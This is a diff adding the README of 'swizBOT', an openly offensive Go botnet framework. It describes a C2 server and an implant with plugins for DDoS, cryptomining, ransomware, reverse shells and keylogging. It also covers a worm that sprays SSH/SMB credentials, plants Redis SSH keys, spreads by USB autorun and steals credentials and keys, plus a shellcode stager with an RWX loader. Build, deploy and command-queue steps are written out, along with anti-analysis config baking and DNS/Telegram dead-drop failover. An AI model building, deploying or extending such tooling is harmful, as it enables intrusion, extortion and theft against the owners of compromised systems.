|
|
|
@@ -1,3 +1,285 @@
|
|
|
|
|
# swizBOT
|
|
|
|
|
|
|
|
|
|
Go botnet client, HTTPS+WS C2, worm module
|
|
|
|
|
Modular Go implant framework with a CALL/POP stager (Jake Swiz decoder
|
|
|
|
|
technique), a polling HTTPS C2, an operator dashboard, plugin actions,
|
|
|
|
|
and a lateral-movement worm module.
|
|
|
|
|
|
|
|
|
|
by ek0ms savi0r, Church of Malware. Decoder technique after Jake Swiz
|
|
|
|
|
(0xXyc) / Fukahi Teki0 research.
|
|
|
|
|
|
|
|
|
|
For authorized security testing and education only.
|
|
|
|
|
|
|
|
|
|
## Layout
|
|
|
|
|
|
|
|
|
|
| Path | What it is |
|
|
|
|
|
|------|------------|
|
|
|
|
|
| cmd/c2 | C2 server: implant API, operator API, WebSocket, embedded dashboard |
|
|
|
|
|
| cmd/bot | Implant: beacon loop, failover, plugins dispatch, worm module |
|
|
|
|
|
| internal/plugins | Action modules (ddos, miner, file encryption, reverse shell, keylogger) |
|
|
|
|
|
| stager | XOR/LFSR CALL/POP stager encoder (x86/x64) + decoder listings |
|
|
|
|
|
| web | dashboard sources (embedded into the c2 binary at build time) |
|
|
|
|
|
|
|
|
|
|
## Quick start (lab)
|
|
|
|
|
|
|
|
|
|
```bash
|
|
|
|
|
# build the C2 and the Linux implant
|
|
|
|
|
make c2 bot-linux
|
|
|
|
|
|
|
|
|
|
# self-signed cert for the TLS implant listener
|
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \
|
|
|
|
|
-days 365 -nodes -subj '/CN=localhost'
|
|
|
|
|
|
|
|
|
|
# run the C2: operator UI on :8080, implant listener (TLS) on :8443
|
|
|
|
|
# -token protects every operator endpoint; -bot-secret is required from implants
|
|
|
|
|
./bin/swizbot-c2 -token 'change-me' -bot-secret 'shared-secret'
|
|
|
|
|
|
|
|
|
|
# register an implant against it (env-driven, no rebuilds)
|
|
|
|
|
SWIZ_C2_URLS=https://127.0.0.1:8443 \
|
|
|
|
|
SWIZ_BOT_SECRET=shared-secret \
|
|
|
|
|
SWIZ_BOT_ID=lab-1 \
|
|
|
|
|
./bin/swizbot-bot-linux
|
|
|
|
|
|
|
|
|
|
# queue a command (operator API)
|
|
|
|
|
curl -s -H 'X-C2-Token: change-me' \
|
|
|
|
|
'http://127.0.0.1:8080/command?bot_id=lab-1&cmd=exec&payload=id'
|
|
|
|
|
|
|
|
|
|
# watch the result stream in the dashboard at http://127.0.0.1:8080
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
For Windows targets build the GUI implant:
|
|
|
|
|
|
|
|
|
|
```bash
|
|
|
|
|
make bot-windows # bin/swizbot-bot.exe (amd64, windowsgui)
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Dashboard
|
|
|
|
|
|
|
|
|
|
The C2 serves a single-file dashboard (terminal theme, no external
|
|
|
|
|
assets) on the operator listener:
|
|
|
|
|
|
|
|
|
|
- bot list with OS/arch/IP/last-seen and live online state
|
|
|
|
|
- per-type command builder (exec, download, ddos, shell, miner,
|
|
|
|
|
ransomware, keylog, worm, kill) with broadcast mode
|
|
|
|
|
- WebSocket event stream for registrations and command results, with
|
|
|
|
|
polling fallback
|
|
|
|
|
- token login screen when the C2 runs with -token
|
|
|
|
|
|
|
|
|
|
## Commands
|
|
|
|
|
|
|
|
|
|
| type | payload | behavior |
|
|
|
|
|
|------|---------|----------|
|
|
|
|
|
| exec | shell command | runs via cmd.exe /C or /bin/sh -c |
|
|
|
|
|
| download | http(s) URL | downloads to a temp file, chmod +x, executes |
|
|
|
|
|
| fetch | file path | pulls a file back from the implant (base64 result, 4 MB cap) |
|
|
|
|
|
| screenshot | - | captures the primary display (Windows build) and returns the PNG |
|
|
|
|
|
| ddos | `host:port method seconds` | udp/tcp/http flood for the given window |
|
|
|
|
|
| shell | `host port` | reverse shell loop (line protocol, auto reconnect) |
|
|
|
|
|
| miner | `pool wallet [threads] [path|url]` | runs an xmrig-compatible binary |
|
|
|
|
|
| ransomware | operator RSA public key (PEM) | AES-256-GCM per-file, RSA-OAEP key wrap |
|
|
|
|
|
| keylog | optional log path | GetAsyncKeyState logger (Windows build) |
|
|
|
|
|
| worm | optional `subnets CSV` | lateral movement module (see below) |
|
|
|
|
|
| kill | - | removes persistence and exits |
|
|
|
|
|
|
|
|
|
|
Every command reports a result: `success` only when the action was
|
|
|
|
|
actually started/completed, `failed` with the reason otherwise. Unknown
|
|
|
|
|
command types are rejected, not silently ignored.
|
|
|
|
|
|
|
|
|
|
## Implant configuration (environment)
|
|
|
|
|
|
|
|
|
|
| variable | default | purpose |
|
|
|
|
|
|----------|---------|---------|
|
|
|
|
|
| SWIZ_C2_URLS | https://127.0.0.1:8443 | comma-separated operator endpoints, tried in random order |
|
|
|
|
|
| SWIZ_BOT_ID | hostname_pid | implant identifier reported to the C2 |
|
|
|
|
|
| SWIZ_BOT_SECRET | - | sent as X-Bot-Secret; required if the C2 runs -bot-secret |
|
|
|
|
|
| SWIZ_BOT_KEY | - | implant X25519 private key (hex); enables the sealed channel |
|
|
|
|
|
| SWIZ_C2_PUBKEY | - | operator X25519 public key (hex); encrypts results to the C2 |
|
|
|
|
|
| SWIZ_XOR | 0xaa | result body obfuscation byte, must match the C2 -xor |
|
|
|
|
|
| SWIZ_INTERVAL | 30s | beacon interval |
|
|
|
|
|
| SWIZ_JITTER | 30s | random sleep added to the interval |
|
|
|
|
|
| SWIZ_BACKOFF_MAX | 1h | max exponential backoff when every endpoint is down |
|
|
|
|
|
| SWIZ_DNS_DOMAIN | - | TXT record domain checked for additional endpoints |
|
|
|
|
|
| SWIZ_P2P | 0 | LAN peer discovery (UDP broadcast, see docs) |
|
|
|
|
|
| SWIZ_PEER_PORT | 31337 | peer discovery port |
|
|
|
|
|
| SWIZ_TELEGRAM_TOKEN | - | dead-drop fallback (bot API token) |
|
|
|
|
|
| SWIZ_TELEGRAM_CHAT_ID | - | optional chat filter for the dead drop |
|
|
|
|
|
| SWIZ_LOG | - | log file (stderr when unset) |
|
|
|
|
|
| SWIZ_UNLOCK | - | passphrase that unlocks a `-seal`ed baked config (see docs/BAKED-CONFIG.md) |
|
|
|
|
|
| SWIZ_WORM_SUBNETS | - | worm target subnets CSV override |
|
|
|
|
|
| SWIZ_WORM_DOWNLOAD_URL | - | hosted implant binary for cross-OS deployment |
|
|
|
|
|
| SWIZ_WORM_RESCAN | 10m | worm rescan interval |
|
|
|
|
|
|
|
|
|
|
Results are cached locally when every endpoint is unreachable and
|
|
|
|
|
flushed on the next successful contact. The XOR byte is obfuscation,
|
|
|
|
|
not encryption: transport security comes from the TLS listener.
|
|
|
|
|
|
|
|
|
|
## Baked config (compile-time)
|
|
|
|
|
|
|
|
|
|
`cmd/build` compiles config into the implant so a deployment is a single
|
|
|
|
|
artifact. All values are packed into one opaque token (`internal/bakepack`),
|
|
|
|
|
never injected as plaintext `-ldflags -X` symbols:
|
|
|
|
|
|
|
|
|
|
```bash
|
|
|
|
|
# obfuscated (default): no readable secrets in the binary
|
|
|
|
|
make payload C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
|
|
|
|
|
|
|
|
|
|
# sealed: AES-256-GCM under a passphrase -> zero-leak artifact
|
|
|
|
|
make payload SEAL='correct horse battery staple' \
|
|
|
|
|
C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
|
|
|
|
|
# ...then run with SWIZ_UNLOCK='correct horse battery staple'
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Precedence is **env > baked > default**. The obfuscated mode defeats
|
|
|
|
|
`strings`/static triage; the sealed mode is real encryption and leaves the
|
|
|
|
|
binary inert without `SWIZ_UNLOCK`. Baking secrets without `-seal` prints a
|
|
|
|
|
warning. Full rationale, threat model and limits: docs/BAKED-CONFIG.md.
|
|
|
|
|
|
|
|
|
|
## C2 configuration (flags)
|
|
|
|
|
|
|
|
|
|
| flag | default | purpose |
|
|
|
|
|
|------|---------|---------|
|
|
|
|
|
| -ui | :8080 | operator UI/API listener |
|
|
|
|
|
| -listen | :8443 | implant listener (TLS) |
|
|
|
|
|
| -cert / -key | server.crt / server.key | TLS keypair |
|
|
|
|
|
| -insecure | false | plain HTTP implant listener (lab) |
|
|
|
|
|
| -tunnel | none | outbound tunnel: cloudflared quick tunnel in front of -ui |
|
|
|
|
|
| -token | - | operator token (X-C2-Token header or login cookie) |
|
|
|
|
|
| -bot-secret | - | secret implants must present |
|
|
|
|
|
| -bot-key | - | operator X25519 private key; enables the sealed bot channel |
|
|
|
|
|
| -bot-key-gen | - | print a fresh operator keypair and exit |
|
|
|
|
|
| -xor | 0xaa | result obfuscation byte |
|
|
|
|
|
| -prune-hours | 24 | drop bots unseen for N hours (0 disables) |
|
|
|
|
|
|
|
|
|
|
Fleet pause/resume (reversible kill switch): queue `cmd=pause` with
|
|
|
|
|
`bot_id=*` to stop all command delivery; implants slow-poll so
|
|
|
|
|
`cmd=resume` reaches them. Paused state is server-side, so a resume
|
|
|
|
|
always re-enables the fleet.
|
|
|
|
|
|
|
|
|
|
Failover layers: the implant carries the same sealed frames over an
|
|
|
|
|
ordered channel stack (HTTPS -> DNS -> Telegram dead-drop), failing
|
|
|
|
|
over automatically when a layer stops answering. Layer order,
|
|
|
|
|
health/probation semantics and per-layer setup: docs/TRANSPORTS.md.
|
|
|
|
|
|
|
|
|
|
Bot endpoints are `/checkin` and `/result`; operator endpoints are
|
|
|
|
|
`/command`, `/list`, `/api/bots`, `/api/command`, `/ws`, `/login`, and
|
|
|
|
|
the dashboard at `/`.
|
|
|
|
|
|
|
|
|
|
## Sealed bot channel
|
|
|
|
|
|
|
|
|
|
When the C2 runs with `-bot-key` and implants carry `SWIZ_BOT_KEY` (their
|
|
|
|
|
own X25519 keypair) plus `SWIZ_C2_PUBKEY` (the operator public key), the
|
|
|
|
|
payload layer upgrades from single-byte XOR to per-frame AEAD:
|
|
|
|
|
|
|
|
|
|
- every checkin response (command) is sealed to the implant's registered
|
|
|
|
|
public key; the implant opens it with its own private key;
|
|
|
|
|
- every result is sealed with a fresh ephemeral X25519 key against the
|
|
|
|
|
operator public key (forward secrecy); the C2 opens it with `-bot-key`;
|
|
|
|
|
- tampered or wrong-key frames are rejected (GCM auth).
|
|
|
|
|
|
|
|
|
|
Generate the operator keypair once: `swizbot-c2 -bot-key-gen`. Distribute
|
|
|
|
|
`SWIZ_BOT_KEY` per implant (or fleet) and `SWIZ_C2_PUBKEY` from the
|
|
|
|
|
generator output. Without keys the channel falls back to TLS + XOR
|
|
|
|
|
obfuscation for lab use.
|
|
|
|
|
|
|
|
|
|
Command delivery is at-least-once: an undelivered command is redelivered
|
|
|
|
|
after 2 minutes up to 3 times and then dropped if never acknowledged.
|
|
|
|
|
|
|
|
|
|
## Bot protocol
|
|
|
|
|
|
|
|
|
|
- checkin: `GET /checkin?bot_id=..&os=..&arch=..` with
|
|
|
|
|
`X-Bot-Secret`; returns `{"id","type","payload","target"}`; an empty
|
|
|
|
|
`id` means nothing is queued.
|
|
|
|
|
- result: `POST /result`, body is the JSON result XOR-masked with the
|
|
|
|
|
configured byte: `{"bot_id","command_id","output","status"}`.
|
|
|
|
|
- command (operator): `GET /command?...` or `POST /command` with a
|
|
|
|
|
JSON body `{"bot_id","type","payload","target"}`; `bot_id=*`
|
|
|
|
|
broadcasts to every known implant.
|
|
|
|
|
|
|
|
|
|
## Worm module
|
|
|
|
|
|
|
|
|
|
Activated only by the `worm` command (never at boot). It scans the
|
|
|
|
|
target subnets and dispatches open ports to real deploy modules:
|
|
|
|
|
|
|
|
|
|
| vector | port | notes |
|
|
|
|
|
|--------|------|-------|
|
|
|
|
|
| ssh | 22 | Go-native credential spray + stolen-key auth; stages the implant via sftp-less pipe and launches it detached |
|
|
|
|
|
| smb | 445 | net.exe credential spray, ADMIN$ copy, remote scheduled task (Windows build) |
|
|
|
|
|
| redis | 6379 | RESP config rewrite that plants an authorized SSH key (only with harvested key material; no fake keys) |
|
|
|
|
|
| web | 80/443/8080/8443 | sensitive-path recon; reports findings, never claims infections |
|
|
|
|
|
| usb | - | removable drive copy + autorun.inf + .lnk (Windows build) |
|
|
|
|
|
| shares | - | writable network share and public Startup copy (Windows build) |
|
|
|
|
|
| harvest | - | local config/log credential extraction and .ssh private-key theft feeding the spray lists |
|
|
|
|
|
|
|
|
|
|
Subnets: `worm` payload CSV, SWIZ_WORM_SUBNETS, or the local /24.
|
|
|
|
|
Cross-OS deployment uses SWIZ_WORM_DOWNLOAD_URL when set, otherwise the
|
|
|
|
|
implant copies itself (same-OS spreads). Success is counted only on a
|
|
|
|
|
verified outcome per vector. The module is exercised by unit and
|
|
|
|
|
integration tests (Redis vector runs against a live fake RESP server in
|
|
|
|
|
the test suite); the full spread loop is not executed on this host.
|
|
|
|
|
|
|
|
|
|
## Stager
|
|
|
|
|
|
|
|
|
|
The stager prepends a position-independent CALL/POP decoder to an
|
|
|
|
|
XOR- or LFSR-encoded raw payload:
|
|
|
|
|
|
|
|
|
|
```bash
|
|
|
|
|
# XOR loop decoder (x86)
|
|
|
|
|
python3 stager/encoder.py payload.bin out/stager.bin
|
|
|
|
|
|
|
|
|
|
# polymorphic LFSR stream, 64-bit decoder + C loader
|
|
|
|
|
python3 stager/encoder.py payload.bin out/stager.bin --lfsr --arch x64 --loader
|
|
|
|
|
|
|
|
|
|
# unrolled decoder, no loop instruction (payload up to 255 bytes)
|
|
|
|
|
python3 stager/encoder.py payload.bin out/stager.bin --noloop
|
|
|
|
|
|
|
|
|
|
# full verification: emulated decode round-trips + nasm byte parity
|
|
|
|
|
python3 stager/encoder.py --selftest
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
- modes: `xor` (fixed key), `lfsr` (32-bit LFSR, key changes per byte),
|
|
|
|
|
`noloop` (unrolled). xor/noloop payloads up to 255 bytes for noloop;
|
|
|
|
|
loop modes up to 65535 bytes.
|
|
|
|
|
- architectures: x86 and x64 (positions documented in
|
|
|
|
|
stager/decoder_x86.asm and decoder_x64.asm, verified byte-for-byte
|
|
|
|
|
against the emitted stubs by --selftest when nasm is available).
|
|
|
|
|
- `--loader` writes a loader.c (VirtualAlloc RWX + memcpy + call);
|
|
|
|
|
compile with i686- or x86_64-w64-mingw32-gcc, add -mwindows for a GUI
|
|
|
|
|
binary.
|
|
|
|
|
|
|
|
|
|
The technique (CALL/POP, in-memory decode, execute) follows Jake Swiz's
|
|
|
|
|
published decoder research; execution verification here is done in the
|
|
|
|
|
instruction emulator rather than on Windows hardware.
|
|
|
|
|
|
|
|
|
|
## Testing
|
|
|
|
|
|
|
|
|
|
```bash
|
|
|
|
|
make test # go test ./... (server, implant, plugins, bakepack)
|
|
|
|
|
make vet
|
|
|
|
|
make leakscan # prove baked config is not string-recoverable
|
|
|
|
|
make stager-selftest # encoder round-trips + listing parity
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
The test suite covers the full operator lifecycle (register, queue,
|
|
|
|
|
deliver, result, ack, redelivery, drop), auth gates, the implant
|
|
|
|
|
checkin/exec/result round trip against a live HTTP server, plugin
|
|
|
|
|
behavior (ransomware AES/RSA round trip on real files, DDoS validation,
|
|
|
|
|
miner resolution), the Redis worm vector against a live fake RESP
|
|
|
|
|
server, subnet enumeration, the transport manager (per-layer health,
|
|
|
|
|
probation/backoff, auto-recovery) and 20 stager decode round-trips.
|
|
|
|
|
|
|
|
|
|
docs/VERIFICATION.md records the honest surface: what is live-verified
|
|
|
|
|
(Linux E2E, b1/b2 baked config, DNS fallback, Windows
|
|
|
|
|
registration/exec/screenshot/persistence under Wine) versus
|
|
|
|
|
compiled/unit-only (Telegram, P2P, SMB/USB/share, schtasks, stager on
|
|
|
|
|
real hardware) versus deliberately not executed (the worm spread loop).
|
|
|
|
|
|
|
|
|
|
## Credits
|
|
|
|
|
|
|
|
|
|
- Jake Swiz (0xXyc) - CALL/POP XOR decoder and loader technique,
|
|
|
|
|
PEB walking and ASLR research that this stager builds on.
|
|
|
|
|
- ek0ms savi0r - Go framework, C2, dashboard, plugins, worm module.
|
|
|
|
|
|
|
|
|
|
## Disclaimer
|
|
|
|
|
|
|
|
|
|
For educational purposes and authorized security testing only. The
|
|
|
|
|
operator is responsible for compliance with applicable law and for
|
|
|
|
|
obtaining authorization before testing any system.
|
|
|
|
|